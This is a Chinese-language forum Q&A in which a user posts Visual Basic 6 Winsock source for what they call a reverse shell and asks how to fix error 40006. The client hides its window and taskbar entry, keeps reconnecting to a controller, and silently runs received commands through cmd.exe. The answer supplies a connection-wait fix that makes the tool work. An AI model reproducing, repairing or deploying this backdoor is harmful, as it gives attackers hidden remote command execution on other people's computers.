Winsock控件 实时错误“40006”
一个反弹shell吧。。但是生成时候一直报40006错误。。各位看看怎么修改服务端:PrivateSubForm_Load()OnErrorResumeNextMe.Vi...
一个反弹shell吧。。
但是生成时候一直报40006错误。。各位看看怎么修改
服务端:
Private Sub Form_Load()
On Error Resume Next
Me.Visible = False
App.TaskVisible = False
Winsock1.Close
Winsock1.RemoteHost = Winsock1.LocalIP
Winsock1.RemotePort = 2011
Winsock1.Connect
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Winsock1.RemoteHost = Winsock1.LocalIP
Winsock1.RemotePort = 2011
Winsock1.Connect
End Sub
Private Sub Winsock1_Close()
On Error GoTo err
err:
Winsock1.Close
Winsock1.RemoteHost = Winsock1.LocalIP
Winsock1.RemotePort = 2011
Winsock1.Connect
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> 0 Then: Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim a As String
Winsock1.GetData a
Shell "cmd.exe /c " & a & " & exit", 0
Winsock1.SendData Winsock1.LocalIP & " 命令: " & a & " 执行成功!"
End Sub
控制端:
Private Sub Command1_Click()
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.SendData Text2.Text
End Sub
Private Sub Form_Load()
Winsock1.LocalPort = 2011
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> 0 Then: Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.Close
Dim str As String
Winsock1.GetData str
List1.AddItem str
End Sub 展开
但是生成时候一直报40006错误。。各位看看怎么修改
服务端:
Private Sub Form_Load()
On Error Resume Next
Me.Visible = False
App.TaskVisible = False
Winsock1.Close
Winsock1.RemoteHost = Winsock1.LocalIP
Winsock1.RemotePort = 2011
Winsock1.Connect
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Winsock1.RemoteHost = Winsock1.LocalIP
Winsock1.RemotePort = 2011
Winsock1.Connect
End Sub
Private Sub Winsock1_Close()
On Error GoTo err
err:
Winsock1.Close
Winsock1.RemoteHost = Winsock1.LocalIP
Winsock1.RemotePort = 2011
Winsock1.Connect
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> 0 Then: Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim a As String
Winsock1.GetData a
Shell "cmd.exe /c " & a & " & exit", 0
Winsock1.SendData Winsock1.LocalIP & " 命令: " & a & " 执行成功!"
End Sub
控制端:
Private Sub Command1_Click()
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.SendData Text2.Text
End Sub
Private Sub Form_Load()
Winsock1.LocalPort = 2011
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> 0 Then: Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.Close
Dim str As String
Winsock1.GetData str
List1.AddItem str
End Sub 展开
展开全部
用的 TCP 协议吗?
用TCP发送消息,就必须先于对方建立连接,对方必须先同意,才能发送消息,否则就会出现40006错误。
在窗体模块的最上面加上API声明
Private Declare Sub Sleep Lib "kernel32" Alias "Sleep" (ByVal dwMilliseconds As Long)
在第一次 SendData 之前加上:
Dim i As Long
Do Until Winsock1.State = 7 Or i > 600
i = i + 1
DoEvents
Sleep
Loop
If i >= 600 Or Winsock1.State = 7 Then
' 1分钟后,对方仍然未同意,连接超时.
End If
然后再进行 SendData
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询